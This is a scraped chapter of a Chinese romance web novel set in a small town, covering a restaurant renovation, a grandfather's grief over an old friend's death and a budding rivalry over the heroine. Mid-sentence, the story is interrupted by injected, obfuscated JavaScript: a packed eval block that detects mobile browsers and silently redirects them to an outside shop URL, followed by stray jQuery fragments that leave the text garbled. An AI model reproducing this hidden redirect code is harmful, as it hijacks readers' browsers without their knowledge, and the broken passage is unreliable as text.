文趣网 > 其他小说 > 小镇食光 > 7. 第七章
    许亦喜想了想,然后说:“不讲诚信?”

    徐言希抿了一口茶,“那是对外而言。”

    许亦喜想不出其他答案,不知所措间,祝余直接开口问道:“那学姐觉得是什么?”

    徐言希看了祝余一眼,放下茶杯,缓缓开口:“对内而言,是轻信他人。”

    “你们了解我吗?了解拾味小食吗?你们来找我,难道不怕被我骗吗?又凭什么觉得我一定会帮助你们?”

    此时徐言希声音提高了几分,嘴角依然带笑,但笑不达眼底。

    许亦喜这时才意识到自己的天真无知,是她把事情想得太简单了。

    在生意场上,区别于他人的特色是让自己立于不败之地的关键,而这“秘方”又怎么会轻易传授。

    许亦喜感到抱歉:“徐老板,今天是我们唐突了,抱歉。”

    徐言希也并非刻薄之人,最后她提点了许亦喜一句:“妹妹,与其借鉴他人经验,不如找准自身优势,餐饮市场需要多样化的发展。”

    离开拾味小食,许亦喜还不想回去,祝余就陪着她散步。

    走累了,两人便坐在清溪边的石椅上。

    “我听到你叫徐老板学姐,但看上去你们之间并不是很熟?”许亦喜疑惑。

    祝余正低头踢着脚边的小石子,闻言笑了,“确实不是很熟,就有过同处一个社团的交情。”

    许亦喜若有所思地点点头,喃喃自语:“我感觉她人还挺好的,虽然我们可能当不成朋友。”

    祝余侧头看向许亦喜,她的失落之情全写在了脸上。

    为什么会喜欢上许亦喜呢?祝余不止一次问过自己。

    一开始是被声音吸引,还带着对母亲的思念。在直播唱歌之余,对于评论区的要求,半夏几乎是有求必应,辨别不出套路和恶意,后来和她接触多了,他才知晓她那种纯粹的真挚是多么可贵。

    许亦喜理清思路后,发现身边的人一改往日的话唠,变得十分安静,她还有些不太习惯。

    “你怎么不说话了?在想什么呢?”

    女生轻而透亮的声音在耳边响起,将祝余从遥远的思绪中抽离出来,他轻轻摇头,“没想什么。”

    “那我们回去吧。”

    许亦喜正要起身,祝余突然伸手拉住她的胳膊,两人皆是一怔,祝余很快放开,清了清嗓掩饰尴尬。

    “那个,我想问你一个问题。”

    许亦喜不解,“什么问题?”

    祝余静默几秒,终于问出那个问题:“我们现在算是朋友吗?”

    许亦喜一听,没有立刻回答,而是重新坐正,视线落在前方遮挡不住月光的枯树上。

    半分钟后,许亦喜开口:“你想听真话还是假话?”

    祝余还是第一次听到这种回答,他笑笑:“哇,原来这个问题还有两种答案。”

    许亦喜也笑了笑,随后她娓娓道来。

    “我第一次见到你的时候,觉得你这人很肤浅,就是一个玩世不恭的富二代,我不想认识这样的朋友。”

    “但是后来相处时间多了,发现你并没有花花公子那些臭毛病,人还不错,值得交个朋友。”

    最后这句“值得交个朋友”,许亦喜是直接看着对方说的,祝余觉得她的眼睛亮晶晶的,眼底能容得下整片星河。

    就这样互相看了几秒,祝余先一步移开视线,他望向此刻的夜空,满天星星闪烁,好似她眼睛的倒影。

    “今晚好多星星,我在南城那么多年都没有见过这么美的夜晚。”祝余感慨,心情极好。

    许亦喜也抬头望去,表示赞同:“大城市确实很难见到。”

    两人分开后,祝余哼着小曲回到祝家,经过祝老爷子房间时,发现里面灯还亮着。

    祝余轻轻敲了敲门,“爷爷,是我。”

    里面回了声“进来吧”。

    祝余进去,见爷爷正坐在书桌前看一封书信。

    “爷爷,这么晚了您还不睡,在看什么呢?”

    祝余知道爷爷有和以前的老同学通信的习惯,想必是某一位同学寄来的信。

    果然,祝老爷子回他:“看你古爷爷写的信。”

    祝余没有继续打扰,安安静静坐在一旁的小凳子上。

    祝老爷子看完信,又将其装到信封里,而后摸着信封上的字沉思良久。

    “小余……”再度开口,祝余听出爷爷声音里的沙哑。

    “爷爷,古爷爷他,怎么了?”祝余已经能够猜到几分,但他不愿将事情往坏的那方面想。

    “你古爷爷,先我们一步走了……”

    祝老爷子断断续续给祝余讲起他们的往事:“老古在上学的时候就是我们班上最聪明的,成绩好,人也热心……”

    讲到最后,祝老爷子心里舒坦了不少,有些事情说出来就好了。

    祝老爷子握住祝余的手,语重心长:“小余啊,爷爷年纪大了爱唠叨,你不要嫌弃。”

    祝余摇头,“爷爷,我不会的。”

    “小余,人活一辈子,就活一个情字,亲情、友情、爱情……”

    “每一种情里面都包含万千滋味,都能让你获得成长,要珍惜这些情,不要等到失去了再后悔……”

    那晚爷孙俩聊了很多,大部分时间都是祝老爷子说、祝余听。

    夜深了,祝余等爷爷睡着后,才悄声离开。

    回到自己的卧室,祝余躺在床上翻来覆去,怎么也睡不着。

    祝老爷子让他珍惜亲情,言下之意也是想缓和他与祝霆骁的关系,但他心里始终有个疙瘩解不开。

    小的时候,每当祝余想要靠近父亲,祝霆骁总是一副冷漠疏离的态度,而面对继母带过来的那个小姑娘,祝霆骁总是脸上带笑,尽管那笑并不好看。

    昨天张营张助理打来了电话,询问他什么时候回去,他说暂时不回去。

    祝霆骁想让他回南城,想让他进祝氏集团,想让他出国深造……他从来都是一副高高在上的指挥者姿态,从来没有考虑过他真正想要做些什么。

    祝余觉得他现在在清水镇,帮爷爷管理醋坊的生活就很好,很自由。

    一夜没睡的,不止祝余,还有王谦。

    许亦喜和祝余分开后,没有直接回家,而是去了一趟面馆。

    施工队早已离开,后厨的灯却还亮着,许亦喜走进去,发现王谦正独自坐在地上,头埋在胳膊之间。

    “王谦?你还没回去啊?现在还没暖气,地上凉,快些起来吧。”许亦喜说着就去拉王谦。

    王谦抬起头,久闭的双眼突遇灯光有些不适应,迷蒙之间,有一双手搭在了他的一条胳膊上,他借力顺势起身。

    起身后,王谦的眼睛也已经适应了明亮的环境,他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939480|213850||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这才反应过来自己刚在后厨打了个盹。

    还正巧被许亦喜撞见,王谦耳朵边缘泛起了一层红:“不好意思啊亦喜,施工队走后,我和小周简单收了下尾,见你还没回来,我就让小周先离开,我在这儿等你,没想到睡着了。”

    许亦喜听完,觉得面前的男人太过于实诚,“你也可以先走啊,锁好门就行。万一我今天不过来了,难不成你还要等一晚上啊。”

    “那我也愿意等。”王谦小声说道。

    许亦喜在同王谦说话时,也在检查今天完工的部分,因此刚才那句话并没有听清。

    “你刚说什么?”

    “没什么……”王谦不敢大声说出那句话,害怕她误会。

    “哦。”许亦喜也没再继续问下去,她想到了另外一件事,“王谦,你以后还是叫我许亦喜吧,你今天突然叫我亦喜,总感觉怪怪的。”

    许亦喜没有其他意思,她认为朋友之间直呼大名就是一件很正常的事情,关系亲密点的还可以称呼彼此的小名。

    爸妈他们都喊她阿喜,亦喜这两个字还从来没有人喊过,所以她觉得很别扭。

    但王谦不那么想,他觉得许亦喜这是在和他保持距离,但如果是因为那个祝余的话,他不甘心。

    “那我可以叫你阿喜吗?我觉得直接叫你名字有点生疏。”

    “……也行。”

    许亦喜尊重每个人的想法。

    王谦压抑着内心的欢喜,“那,阿喜,我就先走了,晚安。”

    “晚安。”

    回到家后,王谦摸黑上了床,他懒得开灯。每每临睡觉这个时候,他都感到自己一无所有。

    空荡荡且破旧的家,不够出众的学历和外表,所有别人轻易拥有的东西都是压倒他内心的自卑。

    想来想去,又想到祝余的家世,他拿什么和他争呢?

    等到阳光将沉寂的天空划破一道口子,许亦喜迎着朝霞伸了个懒腰。

    她昨晚难得睡了个好觉,徐言希的一番话给了她启发。专注于自己的特色,然后坚持下去,一定会迎来新的转机。

    接下来的两个星期,面馆改造进行得很顺利。

    施工即将进入尾声时,许亦喜临时决定将一间杂货室改造成直播间,等重新开业那天,她决定弄个直播宣传。

    祝余听完她的想法后,帮她分析了其中的利与弊。

    “现在直播宣传确实很火,你们也可以入驻那些外卖平台,搞些优惠券什么的。不过面食本身利润就不高,弄这些网络上的东西也需要专业人员和设施,这样一来,成本就很高了。”

    许亦喜也考虑过这些情况,他们家面馆十多年都没有涨过价,爸妈也反对突然涨价,那只好在其他方面想办法压缩成本,薄利多销。

    所以许亦喜决定自学网络营销,素材拍摄、视频剪辑、直播宣传等一系列工作她一个人就可以搞定。

    实在搞不定,就薅薅亲朋好友这类免费的劳动力。

    祝余佩服她的想法,竖起大拇指,给她点了个大大的赞。

    “叔叔阿姨是不是快回来了?到时候我带你去车站接他们吧。”祝余靠在门框上,嘴里正喝着许亦喜刚递给他的一杯奶茶。

    许亦喜嘴里也在嚼着珍珠,闻言,她眼珠转了转:“无事献殷勤。”

    祝余冤枉,“许老板,你怎么能这么想呢?”